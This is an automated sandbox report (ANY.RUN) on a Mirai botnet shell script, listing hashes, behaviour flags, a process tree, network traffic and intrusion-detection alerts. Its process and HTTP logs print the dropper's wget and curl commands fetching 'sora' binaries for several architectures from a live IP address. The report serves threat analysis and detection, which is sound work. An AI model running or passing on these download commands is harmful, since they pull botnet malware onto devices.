Malware analysis 19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh Malicious activity

Add for printing

File name:	19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh
Full analysis:	https://app.any.run/tasks/463ed399-6f64-4196-a57c-4dc4417fb5ab
Verdict:	Malicious activity
Threats:	A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet. Mirai is a self-propagating malware that scans the internet for vulnerable IoT devices and infects them to create a botnet. Mirai variants utilize lists of common default credentials to gain access to devices. Mirai's primary use is for launching distributed denial-of-service (DDoS) attacks, but it has also been used for cryptocurrency mining. Malware Trends Tracker >>>
Analysis date:	July 01, 2024, 11:00:26
OS:	Ubuntu 22.04.2
Tags:	mirai botnet
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable
MD5:	03886BF0D399576FCB6DB8C11FCBE06D
SHA1:	14AEE1089D0CF3283DA30AA045A454109D1A1C9F
SHA256:	19E122301B598E2A4A36B685887B7A2C238DEBFD310FD66B7D719D6454EC6ED2
SSDEEP:	24:vOBROSOEBaIOSOHTPHkaUoOSOnIoOSOSpOSOFPhOSO0BOSOYbOSOjtOSODojOl:vuRzRg5RpoRFR0RzRHR6RLe

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- MIRAI has been detected (SURICATA)
  - wget (PID: 12967)
SUSPICIOUS
- Modifies file or directory owner
  - sudo (PID: 12929)
- Connects to the server without a host name
  - wget (PID: 12935)
  - curl (PID: 12936)
  - wget (PID: 12967)
  - wget (PID: 12996)
  - curl (PID: 12968)
  - curl (PID: 12997)
  - curl (PID: 13026)
  - wget (PID: 13025)
  - wget (PID: 13056)
  - curl (PID: 13058)
  - curl (PID: 13121)
  - curl (PID: 13088)
  - wget (PID: 13152)
  - curl (PID: 13154)
  - wget (PID: 13087)
  - wget (PID: 13120)
  - wget (PID: 13212)
  - curl (PID: 13213)
  - curl (PID: 13184)
  - wget (PID: 13183)
- Reads /proc/mounts (likely used to find writable filesystems)
  - curl (PID: 12968)
  - curl (PID: 12936)
  - curl (PID: 12997)
  - curl (PID: 13026)
  - curl (PID: 13058)
  - curl (PID: 13121)
  - curl (PID: 13154)
  - curl (PID: 13184)
  - curl (PID: 13088)
  - curl (PID: 13213)
- Manipulating modules (likely to execute programs on system boot)
  - modprobe (PID: 12966)
  - modprobe (PID: 12995)
  - modprobe (PID: 13024)
  - modprobe (PID: 13055)
  - modprobe (PID: 13086)
  - modprobe (PID: 13119)
  - modprobe (PID: 13151)
  - modprobe (PID: 13182)
  - modprobe (PID: 13211)
  - modprobe (PID: 13244)
- Uses wget to download content
  - 19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh (PID: 12933)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.sh	\|	Linux/UNIX shell script (100)

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

316

Monitored processes

102

Malicious processes

3

Suspicious processes

4

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
12928	/bin/sh -c "sudo chown user /tmp/19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2\.sh && chmod +x /tmp/19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2\.sh && DISPLAY=:0 sudo -iu user /tmp/19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2\.sh "	/bin/sh	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 13057
12929	sudo chown user /tmp/19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh	/usr/bin/sudo	—	sh
User: root Integrity Level: UNKNOWN Exit code: 0
12930	chown user /tmp/19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
12931	chmod +x /tmp/19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh	/usr/bin/chmod	—	sh
User: root Integrity Level: UNKNOWN Exit code: 0
12932	sudo -iu user /tmp/19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh	/usr/bin/sudo	—	sh
User: root Integrity Level: UNKNOWN Exit code: 13057
12933	/bin/bash /tmp/19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh	/tmp/19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh	—	sudo
User: user Integrity Level: UNKNOWN Exit code: 13057
12934	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh
User: user Integrity Level: UNKNOWN Exit code: 0
12935	wget http://103.162.20.166/bins/sora.x86	/usr/bin/wget		19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh
User: user Integrity Level: UNKNOWN Exit code: 12933
12936	/snap/curl/1754/bin/curl -O http://103.162.20.166/bins/sora.x86	/snap/curl/1754/bin/curl		19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh
User: user Integrity Level: UNKNOWN Exit code: 482
12949	/snap/snapd/20290/usr/lib/snapd/snap-seccomp version-info	/snap/snapd/20290/usr/lib/snapd/snap-seccomp	—	curl
User: user Integrity Level: UNKNOWN Exit code: 12933

Add for printing

Executable files

0

Suspicious files

0

Text files

0

Unknown types

0

Dropped files

No data

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

20

TCP/UDP connections

31

DNS requests

12

Threats

43

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
12935	wget	GET	404	103.162.20.166:80	http://103.162.20.166/bins/sora.x86	unknown	—	—	unknown
12936	curl	GET	404	103.162.20.166:80	http://103.162.20.166/bins/sora.x86	unknown	—	—	unknown
13025	wget	GET	404	103.162.20.166:80	http://103.162.20.166/bins/sora.arm4	unknown	—	—	unknown
13058	curl	GET	404	103.162.20.166:80	http://103.162.20.166/bins/sora.arm5	unknown	—	—	unknown
13056	wget	GET	404	103.162.20.166:80	http://103.162.20.166/bins/sora.arm5	unknown	—	—	unknown
13026	curl	GET	404	103.162.20.166:80	http://103.162.20.166/bins/sora.arm4	unknown	—	—	unknown
12967	wget	GET	404	103.162.20.166:80	http://103.162.20.166/bins/sora.mips	unknown	—	—	unknown
12997	curl	GET	404	103.162.20.166:80	http://103.162.20.166/bins/sora.mpsl	unknown	—	—	unknown
12968	curl	GET	404	103.162.20.166:80	http://103.162.20.166/bins/sora.mips	unknown	—	—	unknown
13087	wget	GET	404	103.162.20.166:80	http://103.162.20.166/bins/sora.arm6	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	156.146.33.14:443	odrs.gnome.org	Datacamp Limited	DE	unknown
—	—	185.125.188.58:443	api.snapcraft.io	Canonical Group Limited	GB	unknown
—	—	185.125.188.54:443	api.snapcraft.io	Canonical Group Limited	GB	unknown
470	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
12935	wget	103.162.20.166:80	—	Webico Company Limited	VN	unknown
12936	curl	103.162.20.166:80	—	Webico Company Limited	VN	unknown
12967	wget	103.162.20.166:80	—	Webico Company Limited	VN	unknown
12968	curl	103.162.20.166:80	—	Webico Company Limited	VN	unknown
12996	wget	103.162.20.166:80	—	Webico Company Limited	VN	unknown
12997	curl	103.162.20.166:80	—	Webico Company Limited	VN	unknown

DNS requests

Domain	IP	Reputation
odrs.gnome.org	156.146.33.14 156.146.33.138 212.102.56.178 195.181.170.18 195.181.175.15 156.146.33.140 195.181.175.41 212.102.56.182 2a02:6ea0:c700::18 2a02:6ea0:c700::21 2a02:6ea0:c700::101 2a02:6ea0:c700::11 2a02:6ea0:c700::17 2a02:6ea0:c700::19 2a02:6ea0:c700::10 2a02:6ea0:c700::22	unknown
api.snapcraft.io	185.125.188.58 185.125.188.54 185.125.188.55 185.125.188.59	unknown
209.100.168.192.in-addr.arpa	—	unknown
connectivity-check.ubuntu.com	2620:2d:4000:1::97 2001:67c:1562::24 2620:2d:4000:1::23 2620:2d:4000:1::2a 2001:67c:1562::23 2620:2d:4000:1::22 2620:2d:4000:1::2b 2620:2d:4000:1::98 2620:2d:4002:1::198 2620:2d:4002:1::197 2620:2d:4000:1::96 2620:2d:4002:1::196	unknown

Threats

PID	Process	Class	Message
12935	wget	Potentially Bad Traffic	ET INFO x86 File Download Request from IP Address
12935	wget	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .x86
12936	curl	Attempted Information Leak	ET POLICY curl User-Agent Outbound
12936	curl	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .x86
12936	curl	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
12936	curl	Potentially Bad Traffic	ET INFO x86 File Download Request from IP Address
12967	wget	A Network Trojan was detected	AV INFO Possible Mirai .mips Executable Download
12967	wget	Potentially Bad Traffic	ET INFO MIPS File Download Request from IP Address
12968	curl	Potentially Bad Traffic	ET INFO MIPS File Download Request from IP Address
12968	curl	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad

Add for printing

No debug info

General Info

19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2.sh

03886BF0D399576FCB6DB8C11FCBE06D

14AEE1089D0CF3283DA30AA045A454109D1A1C9F

19E122301B598E2A4A36B685887B7A2C238DEBFD310FD66B7D719D6454EC6ED2

24:vOBROSOEBaIOSOHTPHkaUoOSOnIoOSOSpOSOFPhOSO0BOSOYbOSOjtOSODojOl:vuRzRg5RpoRFR0RzRHR6RLe

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

MIRAI has been detected (SURICATA)

SUSPICIOUS

Modifies file or directory owner

Connects to the server without a host name

Reads /proc/mounts (likely used to find writable filesystems)

Manipulating modules (likely to execute programs on system boot)

Uses wget to download content

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings